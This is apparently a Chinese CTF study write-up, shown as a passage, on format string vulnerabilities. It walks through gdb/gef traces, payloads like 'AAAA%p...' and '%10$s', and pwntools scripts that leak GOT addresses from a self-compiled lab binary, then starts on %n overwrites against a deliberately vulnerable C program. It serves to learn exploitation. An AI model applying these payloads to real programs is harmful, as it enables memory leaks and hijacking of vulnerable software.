BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%s") [#1] 0x804852c → main()gef? c Continuing. %s[Inferior 1 (process 4344) exited normally]

可以看出,在第二次執(zhí)行printf函數(shù)的時(shí)候,確實(shí)將0xffffcfe4處的變量視為字符串變量,輸出了其數(shù)值所對(duì)應(yīng)的地址處的字符串。

當(dāng)然,并不是所有這樣的都會(huì)正常運(yùn)行,如果對(duì)應(yīng)的變量不能夠被解析為字符串地址,那么,程序就會(huì)直接崩潰。

此外,我們也可以指定獲取棧上第幾個(gè)參數(shù)作為格式化字符串輸出,比如我們指定第 printf 的第 4 個(gè)參數(shù),如下,此時(shí)程序就不能夠解析,就崩潰了。

devil@ubuntu:~$ ./leakmemory %3$s 00000001.22222222.ffffffff.%3$s Segmentation fault (core dumped)

小技巧總結(jié)

  • 利用%x來(lái)獲取對(duì)應(yīng)棧的內(nèi)存,但建議使用%p,可以不用考慮位數(shù)的區(qū)別。
  • 利用%s來(lái)獲取變量所對(duì)應(yīng)地址的內(nèi)容,只不過(guò)有零截?cái)唷?/li>
  • 利用%orderx來(lái)獲取指定參數(shù)的值,利用x來(lái)獲取指定參數(shù)的值,利用%orderx來(lái)數(shù)s來(lái)獲取指定參數(shù)對(duì)應(yīng)地址的內(nèi)容。
  • 泄露任意地址內(nèi)存

    可以看出,在上面無(wú)論是泄露棧上連續(xù)的變量,還是說(shuō)泄露指定的變量值,我們都沒(méi)能完全控制我們所要泄露的變量的地址。這樣的泄露固然有用,可是卻不夠強(qiáng)力有效。有時(shí)候,我們可能會(huì)想要泄露某一個(gè) libc 函數(shù)的 got 表內(nèi)容,從而得到其地址,進(jìn)而獲取 libc 版本以及其他函數(shù)的地址,這時(shí)候,能夠完全控制泄露某個(gè)指定地址的內(nèi)存就顯得很重要了。那么我們究竟能不能這樣做呢?自然也是可以的啦。

    我們?cè)僮屑?xì)回想一下,一般來(lái)說(shuō),在格式化字符串漏洞中,我們所讀取的格式化字符串在棧上的(因?yàn)槭悄硞€(gè)函數(shù)的局部變量,本例中s是main函數(shù)的局部變量)。那么也就是說(shuō),在調(diào)用輸出函數(shù)的時(shí)候,其實(shí),**第一個(gè)參數(shù)的值其實(shí)就是該格式化字符串的地址。**我們選擇上面的某個(gè)函數(shù)調(diào)用為例

    Breakpoint 1, __printf (format=0xffffd008 "%s") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x7fffffe2 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0008: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2

    可以看出在棧上的第二個(gè)變量就是我們的格式化字符串地址0xffffd008,同時(shí)該地址存儲(chǔ)的也確實(shí)是"%s"格式化字符串內(nèi)容。

    那么由于我們可以控制該格式化字符串,如果我們知道該格式化字符串在輸出函數(shù)調(diào)用時(shí)是第幾個(gè)參數(shù),這里假設(shè)該格式化字符串相對(duì)函數(shù)調(diào)用為第 k 個(gè)參數(shù)。那我們就可以通過(guò)如下的方式來(lái)獲取某個(gè)指定地址 addr 的內(nèi)容。

    addr%k$s

    注:在這里,如果格式化字符串在棧上,那么我們就一定能確定格式化字符串的相對(duì)偏移,這是因?yàn)樵诤瘮?shù)調(diào)用的時(shí)候棧指針至少地域格式化字符串地址8字節(jié)或者16字節(jié)。

    下面就是如何確定該格式化字符串為第幾個(gè)參數(shù)的問(wèn)題了,我們可以通過(guò)如下方式確定

    [tag]%p%p%p%p...

    一般來(lái)說(shuō),我們會(huì)重復(fù)某個(gè)字符的機(jī)器字長(zhǎng)來(lái)作為tag,而后面會(huì)跟上若干個(gè)%p來(lái)輸出棧上的內(nèi)容,如果內(nèi)容與我們前面的tag重復(fù)了,那么我們就可以有很大把握說(shuō)明該地址就是格式化字符串的地址,之所以說(shuō)是有很大把握,這是因?yàn)椴慌懦龡I嫌幸恍┡R時(shí)變量也是該數(shù)值。一般情況下,極其少見(jiàn),我們也可以更換其它字符進(jìn)行嘗試,進(jìn)行再次確認(rèn)。這里我們利用字符’A’作為特定字符,同時(shí)還是利用之前編譯好的程序,如下

    devil@ubuntu:~$ ./leakmemory AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p 00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p AAAA0xff9e92880xf7f959180xf0b5ff0xff9e92ae0x10xc20x10x222222220xffffffff0x414141410x702570250x702570250x702570250x702570250x70257025

    這里0x414141處所在的位置可以看出我們的格式化字符串的起始地址正好是輸出函數(shù)的第11個(gè)參數(shù),也是格式化字符串的第10個(gè)參數(shù)。(此處和CTF-Wiki上有出入)我們可以來(lái)測(cè)試一下

    devil@ubuntu:~$ ./leakmemory %10$s 00000001.22222222.ffffffff.%10$s Segmentation fault (core dumped)

    可以看出,我們的程序崩潰了,為什么呢?這是因?yàn)槲覀冊(cè)噲D將該格式化字符串所對(duì)應(yīng)的值作為地址進(jìn)行解析,但是顯然該值沒(méi)有辦法作為一個(gè)合法的地址被解析,所以程序就崩潰了。具體的可以參考下面的調(diào)試。

    devil@ubuntu:~$ gdb leakmemory gef? r Starting program: /home/devil/leakmemory %10$s 00000001.22222222.ffffffff.%10$sProgram received signal SIGSEGV, Segmentation fault. __strlen_ia32 () at ../sysdeps/i386/i686/multiarch/../../i586/strlen.S:51 51 ../sysdeps/i386/i686/multiarch/../../i586/strlen.S: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0x24303125 ("%10$"?) $ebx : 0x0 $ecx : 0xf7fb6000 → 0x001b1db0 $edx : 0x1 $esp : 0xffffc4ec → 0xf7e45977 → <printf_positional+7575> add esp, 0x10 $ebp : 0xffffca98 → 0xffffcfb8 → 0xffffd078 → 0x00000000 $esi : 0xffffc680 → 0xffffffff $edi : 0xf7fb6d60 → 0xfbad2a84 $eip : 0xf7e795cf → <__strlen_ia32+15> cmp BYTE PTR [eax], dh $eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffc4ec│+0x0000: 0xf7e45977 → <printf_positional+7575> add esp, 0x10 ← $esp 0xffffc4f0│+0x0004: "%10$" 0xffffc4f4│+0x0008: 0x00000000 0xffffc4f8│+0x000c: 0x00000028 ("("?) 0xffffc4fc│+0x0010: 0x00000000 0xffffc500│+0x0014: 0xffffd008 → "%10$s" 0xffffc504│+0x0018: 0x00000000 0xffffc508│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e795c8 <__strlen_ia32+8> add BYTE PTR [ecx], ah0xf7e795ca <__strlen_ia32+10> ret 0x24740xf7e795cd <__strlen_ia32+13> jp 0xf7e795e6 <__strlen_ia32+38>→ 0xf7e795cf <__strlen_ia32+15> cmp BYTE PTR [eax], dh0xf7e795d1 <__strlen_ia32+17> je 0xf7e79676 <__strlen_ia32+182>0xf7e795d7 <__strlen_ia32+23> inc eax0xf7e795d8 <__strlen_ia32+24> cmp BYTE PTR [eax], dh0xf7e795da <__strlen_ia32+26> je 0xf7e79676 <__strlen_ia32+182>0xf7e795e0 <__strlen_ia32+32> inc eax ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e795cf in __strlen_ia32 (), reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e795cf → __strlen_ia32() [#1] 0xf7e45977 → printf_positional(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=0xffffd008 "%10$s", readonly_format=0x0, ap=<optimized out>, ap_savep=0xffffcb7c, done=0x0, nspecs_done=0x0, lead_str_end=0xffffd008 "%10$s", work_buffer=0xffffcbb8 "@\001", save_errno=0x0, grouping=0x0, thousands_sep=0xf7f5f7d2 "") [#2] 0xf7e46401 → _IO_vfprintf_internal(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xffffcfe4 "\b\320\377\377\030\331\377\367\377\265", <incomplete sequence \360>) [#3] 0xf7e4d696 → __printf(format=0xffffd008 "%10$s") [#4] 0x804852c → main()gef? help x/ Examine memory: x/FMT ADDRESS. ADDRESS is an expression for the memory address to examine. FMT is a repeat count followed by a format letter and a size letter. Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),t(binary), f(float), a(address), i(instruction), c(char), s(string)and z(hex, zero padded on the left). Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes). The specified number of objects of the specified size are printed according to the format.Defaults for format and size letters are those previously used. Default count is 1. Default address is following last thing printed with this command or "print". gef? x/x 0xffffd008 0xffffd008: 0x24303125gef? vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x08048000 0x08049000 0x00000000 r-x /home/devil/leakmemory 0x08049000 0x0804a000 0x00000000 r-- /home/devil/leakmemory 0x0804a000 0x0804b000 0x00001000 rw- /home/devil/leakmemory 0x0804b000 0x0806c000 0x00000000 rw- [heap] 0xf7e03000 0xf7e04000 0x00000000 rw- 0xf7e04000 0xf7fb4000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7fb4000 0xf7fb6000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so 0xf7fb6000 0xf7fb7000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so 0xf7fb7000 0xf7fba000 0x00000000 rw- 0xf7fd3000 0xf7fd4000 0x00000000 rw- 0xf7fd4000 0xf7fd7000 0x00000000 r-- [vvar] 0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso] 0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 0x00000000 rw- [stack]gef? x/x 0x24303125 0x24303125: Cannot access memory at address 0x24303125

    顯然0xffffd008處所對(duì)應(yīng)的格式化字符串所對(duì)應(yīng)的變量值0x24303125并不能夠被該程序訪問(wèn),所以程序自然就崩潰了。

    那么如果我們?cè)O(shè)置一個(gè)可以訪問(wèn)的地址呢?比如說(shuō)scanf@got,結(jié)果會(huì)怎么樣呢?應(yīng)該自然是輸出scanf對(duì)應(yīng)的地址了。我們不妨來(lái)試一下。

    首先,獲取scanf@got的地址,如下

    gef? got/home/devil/leakmemory: file format elf32-i386DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__ 0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0 0804a010 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a014 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a018 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

    下面我們利用pwntools構(gòu)造payload如下

    from pwn import * sh = process('./leakmemory') elf = ELF('./leakmemory') __isoc99_scanf_got = elf.got['__isoc99_scanf'] print(hex(__isoc99_scanf_got)) payload = p32(__isoc99_scanf_got)+'%10$s' print(payload) gdb.attach(sh) sh.sendline(payload) sh.recvuntil('%10$s\n') print(hex(u32(sh.recv()[4:8]))) #remove the first bytes of __isoc99_scanf@got sh.interactive()

    其實(shí),我們使用gdb.attach(sh)來(lái)進(jìn)行調(diào)試。當(dāng)我們運(yùn)行到第二個(gè)printf函數(shù)的時(shí)候(要在調(diào)試窗口用 "b printf"命令給printf函數(shù)下斷點(diǎn)),可以看到我們的第四個(gè)參數(shù)(stack上第一個(gè)地址是返回地址,第二個(gè)是格式化字符串地址,之后依次為第一…四個(gè)參數(shù))確實(shí)指向我們的scanf的地址,這里輸出

    gef? c Continuing.Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp $ebx : 0x0 $ecx : 0x1 $edx : 0xf7f1d87c → 0x00000000 $esp : 0xff8ccb9c → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xff8ccc48 → 0x00000000 $esi : 0xf7f1c000 → 0x001b1db0 $edi : 0xf7f1c000 → 0x001b1db0 $eip : 0xf7db3670 → <printf+0> call 0xf7e89b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xff8ccb9c│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xff8ccba0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xff8ccba4│+0x0008: 0x00000001 0xff8ccba8│+0x000c: 0x22222222 0xff8ccbac│+0x0010: 0xffffffff 0xff8ccbb0│+0x0014: 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp 0xff8ccbb4│+0x0018: 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp 0xff8ccbb8│+0x001c: 0xf7f63918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7db3667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7db366d nop 0xf7db366e xchg ax, ax→ 0xf7db3670 <printf+0> call 0xf7e89b59 <__x86.get_pc_thunk.ax>? 0xf7e89b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7e89b5c <__x86.get_pc_thunk.ax+3> ret 0xf7e89b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7e89b60 <__x86.get_pc_thunk.dx+3> ret 0xf7e89b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7e89b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7db3670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7db3670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()

    同時(shí),在我們運(yùn)行的terminal下

    devil@ubuntu:~$ python exp.py [+] Starting local process './leakmemory': pid 2673 [*] '/home/devil/leakmemory'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000) 0x804a018 \x18\x04%10$s [*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 2673 -x "/tmp/pwnqnvV9v.gdb" [+] Waiting for debugger: Done 0xf7dc60c0 [*] Switching to interactive mode [*] Process './leakmemory' stopped with exit code 0 (pid 2673) [*] Got EOF while reading in interactive $

    我們確實(shí)得到了scanf的地址。

    Wiki上這里是用scanf舉例說(shuō)明的,并且表示之所以沒(méi)有使用printf函數(shù),是因?yàn)閜rintf函數(shù)會(huì)對(duì)0a,0b,0c,00等字符有一些奇怪的處理,導(dǎo)致無(wú)法正常讀入。

    所以我就嘗試了一下泄露printf函數(shù)的地址。

    構(gòu)造payload如下

    from pwn import * sh = process('./leakmemory') elf = ELF('./leakmemory') printf_got = elf.got['printf'] print(hex(printf_got)) payload = p32(printf_got)+'%10$s' print(payload) gdb.attach(sh) sh.sendline(payload) sh.recvuntil('%10$s\n') print(hex(u32(sh.recv()[4:8]))) sh.interactive()

    terminal運(yùn)行結(jié)果如下

    devil@ubuntu:~$ python exp.py [+] Starting local process './leakmemory': pid 2747 [*] '/home/devil/leakmemory'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000) 0x804a00c \x0c\x04%10$s [*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 2747 -x "/tmp/pwn71yrFD.gdb" [+] Waiting for debugger: Done Traceback (most recent call last):File "exp.py", line 11, in <module>print(hex(u32(sh.recv()[4:8])))File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 82, in recvreturn self._recv(numb, timeout) or b''File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 160, in _recvif not self.buffer and not self._fillbuffer(timeout):File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 131, in _fillbufferdata = self.recv_raw(self.buffer.get_fill_size())File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py", line 707, in recv_rawraise EOFError EOFError [*] Process './leakmemory' stopped with exit code -11 (SIGSEGV) (pid 2747)

    棧上的值如下

    gef? c Continuing.Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffc82d58 → 0x250804a0 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7eca87c → 0x00000000 $esp : 0xffc82d1c → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffc82dc8 → 0x00000000 $esi : 0xf7ec9000 → 0x001b1db0 $edi : 0xf7ec9000 → 0x001b1db0 $eip : 0xf7d60670 → <printf+0> call 0xf7e36b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffc82d1c│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffc82d20│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffc82d24│+0x0008: 0x00000001 0xffc82d28│+0x000c: 0x22222222 0xffc82d2c│+0x0010: 0xffffffff 0xffc82d30│+0x0014: 0xffc82d58 → 0x250804a0 0xffc82d34│+0x0018: 0xffc82d58 → 0x250804a0 0xffc82d38│+0x001c: 0xf7f10918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7d60667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7d6066d nop 0xf7d6066e xchg ax, ax→ 0xf7d60670 <printf+0> call 0xf7e36b59 <__x86.get_pc_thunk.ax>? 0xf7e36b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7e36b5c <__x86.get_pc_thunk.ax+3> ret 0xf7e36b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7e36b60 <__x86.get_pc_thunk.dx+3> ret 0xf7e36b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7e36b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7d60670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7d60670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()

    可見(jiàn)程序并沒(méi)有如同預(yù)期一樣輸出printf的地址。

    有時(shí)候,我們需要對(duì)我們輸入的格式化字符串進(jìn)行填充,來(lái)使得我們想要打印的地址內(nèi)容位于機(jī)器字長(zhǎng)整數(shù)倍的地址處,一般來(lái)說(shuō),類(lèi)似于下面的這個(gè)樣子。

    [padding][addr]

    注意

    我們?cè)趃ef中使用got命令的時(shí)候,已經(jīng)打印出了printf的got地址

    0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0

    但是我們不能直接在命令行輸入\x0c\xa0\x04\x08%4$s 這是因?yàn)殡m然前面的確實(shí)是printf@got的地址,但是,scanf函數(shù)并不會(huì)將其識(shí)別為對(duì)應(yīng)的字符串,而是會(huì)將,x,0,c分別作為一個(gè)字符進(jìn)行讀入。下面就是錯(cuò)誤的例子。

    gef? r Starting program: /home/devil/leakmemory \\x0c\\xa0\\x04\\x08%10$s 00000001.22222222.ffffffff.\\x0c\\xa0\\x04\\x08%10$sProgram received signal SIGSEGV, Segmentation fault. __strlen_ia32 () at ../sysdeps/i386/i686/multiarch/../../i586/strlen.S:94 94 ../sysdeps/i386/i686/multiarch/../../i586/strlen.S: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0x30785c5c ("\\x0"?) $ebx : 0x0 $ecx : 0xf7fb6000 → 0x001b1db0 $edx : 0x0 $esp : 0xffffc4ec → 0xf7e45977 → <printf_positional+7575> add esp, 0x10 $ebp : 0xffffca98 → 0xffffcfb8 → 0xffffd078 → 0x00000000 $esi : 0xffffc680 → 0xffffffff $edi : 0xf7fb6d60 → 0xfbad2a84 $eip : 0xf7e795f1 → <__strlen_ia32+49> mov ecx, DWORD PTR [eax] $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffc4ec│+0x0000: 0xf7e45977 → <printf_positional+7575> add esp, 0x10 ← $esp 0xffffc4f0│+0x0004: 0x30785c5c ("\x0"?) 0xffffc4f4│+0x0008: 0x00000000 0xffffc4f8│+0x000c: 0x00000028 ("("?) 0xffffc4fc│+0x0010: 0x00000000 0xffffc500│+0x0014: 0xffffd008 → "\x0c\xa0\x04\x08%10$s" 0xffffc504│+0x0018: 0x00000000 0xffffc508│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e795e7 <__strlen_ia32+39> xor BYTE PTR [edi], cl0xf7e795e9 <__strlen_ia32+41> test BYTE PTR [eax+0x40000000], cl0xf7e795ef <__strlen_ia32+47> xor edx, edx→ 0xf7e795f1 <__strlen_ia32+49> mov ecx, DWORD PTR [eax]0xf7e795f3 <__strlen_ia32+51> add eax, 0x40xf7e795f6 <__strlen_ia32+54> sub edx, ecx0xf7e795f8 <__strlen_ia32+56> add ecx, 0xfefefeff0xf7e795fe <__strlen_ia32+62> dec edx0xf7e795ff <__strlen_ia32+63> jae 0xf7e79659 <__strlen_ia32+153> ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e795f1 in __strlen_ia32 (), reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e795f1 → __strlen_ia32() [#1] 0xf7e45977 → printf_positional(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=0xffffd008 "\\\\x0c\\\\xa0\\\\x04\\\\x08%10$s", readonly_format=0x0, ap=<optimized out>, ap_savep=0xffffcb7c, done=0x14, nspecs_done=0x0, lead_str_end=0xffffd01c "%10$s", work_buffer=0xffffcbb8 "@\001", save_errno=0x0, grouping=0x0, thousands_sep=0xf7f5f7d2 "") [#2] 0xf7e46401 → _IO_vfprintf_internal(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xffffcfe4 "\b\320\377\377\030\331\377\367\377\265", <incomplete sequence \360>) [#3] 0xf7e4d696 → __printf(format=0xffffd008 "\\\\x0c\\\\xa0\\\\x04\\\\x08%10$s") [#4] 0x804852c → main() ──────────────────────────────────────────────────────────────────────────────── gef? x/x 0xffffd008 0xffffd008: 0x30785c5c

    覆蓋內(nèi)存

    上面,我們已經(jīng)展示了如何利用格式化字符串來(lái)泄露棧內(nèi)存以及任意地址內(nèi)存,那么我們有沒(méi)有可能修改棧上變量的值呢,甚至修改任意地址變量的內(nèi)存呢? 答案是可行的,只要變量對(duì)應(yīng)的地址可寫(xiě),我們就可以利用格式化字符串來(lái)修改其對(duì)應(yīng)的數(shù)值。這里我們可以想一下格式化字符串中的類(lèi)型

    %n,不輸出字符,但是把已經(jīng)成功輸出的字符個(gè)數(shù)寫(xiě)入對(duì)應(yīng)的整型指針參數(shù)所指的變量。

    通過(guò)這個(gè)類(lèi)型參數(shù),再加上一些小技巧,我們就可以達(dá)到我們的目的,這里仍然分為兩部分,一部分為覆蓋棧上的變量,第二部分為覆蓋指定地址的變量

    這里我們給出如下的程序來(lái)介紹相應(yīng)的部分。

    #include <stdio.h> int a = 123, b = 456; int main() {int c = 789;char s[100];scanf("%s", s); #scanf()函數(shù)要放在printf()前面,確保第一次在printf中斷時(shí),程序已經(jīng)讀入格式化字符串printf("%p\n", &c);printf(s);if (c == 16) {puts("modified c.");} else if (a == 2) {puts("modified a for a small number.");} else if (b == 0x12345678) {puts("modified b for a big number!");}return 0; }

    這里和wiki上有點(diǎn)區(qū)別,就在于第一個(gè)scanf("%s",s)和printf("%p\n",&c)的順序。wiki上是printf在前,但是我按照他那樣編譯調(diào)試的時(shí)候stack中不能同時(shí)顯示c的地址和格式化字符串的地址,所以我換了一下位置進(jìn)行編譯調(diào)試。但在后面修改c的值的時(shí)候,用此腳本編譯出來(lái)的程序在接收c地址的時(shí)候出了點(diǎn)問(wèn)題。

    編譯成32位程序

    devil@ubuntu:~$ gcc -m32 -fno-stack-protector -no-pie -o overflow overflow.c overflow.c: In function ‘main’: overflow.c:9:10: warning: format not a string literal and no format arguments [-Wformat-security]printf(s);^

    無(wú)論是覆蓋哪個(gè)地址的變量,我們基本上都是構(gòu)造類(lèi)似如下的payload

    ...[overwrite addr]....%[overwrite offset]$n

    其中…表示我們的填充內(nèi)容,overwrite addr表示我們所要覆蓋的地址,overwrite offset地址表示我們所要覆蓋的地址存儲(chǔ)的位置為輸出函數(shù)的格式化字符串的第幾個(gè)參數(shù)。所以一般來(lái)說(shuō),也是如下步驟

    • 確定覆蓋地址
    • 確定相對(duì)偏移
    • 進(jìn)行覆蓋

    覆蓋棧內(nèi)存

    確定覆蓋地址

    首先,我們自然是來(lái)想辦法知道棧變量 c 的地址。由于目前幾乎上所有的程序都開(kāi)啟了 aslr 保護(hù),所以棧的地址一直在變,所以我們這里故意輸出了 c 變量的地址。

    確定相對(duì)偏移

    其次,我們來(lái)確定一下存儲(chǔ)格式化字符串的地址是printf將要輸出的第幾個(gè)參數(shù)()。這里我們通過(guò)之前的泄露棧變量數(shù)值的方法來(lái)進(jìn)行操作。通過(guò)調(diào)試

    devil@ubuntu:~$ gdb overflow gef? b printf Breakpoint 1 at 0x8048340 gef? r Starting program: /home/devil/overflow %d%dBreakpoint 1, __printf (format=0x80485c3 "%p\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd06c → 0x00000315 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfec → 0x080484c8 → <main+61> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfec│+0x0000: 0x080484c8 → <main+61> add esp, 0x10 ← $esp 0xffffcff0│+0x0004: 0x080485c3 → "%p\n" 0xffffcff4│+0x0008: 0xffffd06c → 0x00000315 0xffffcff8│+0x000c: 0x000000c2 0xffffcffc│+0x0010: 0xf7e946bb → <handle_intel+107> add esp, 0x10 0xffffd000│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffd004│+0x0018: 0xffffd12c → 0xffffd30a → "XDG_VTNR=7" 0xffffd008│+0x001c: "%d%d" ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 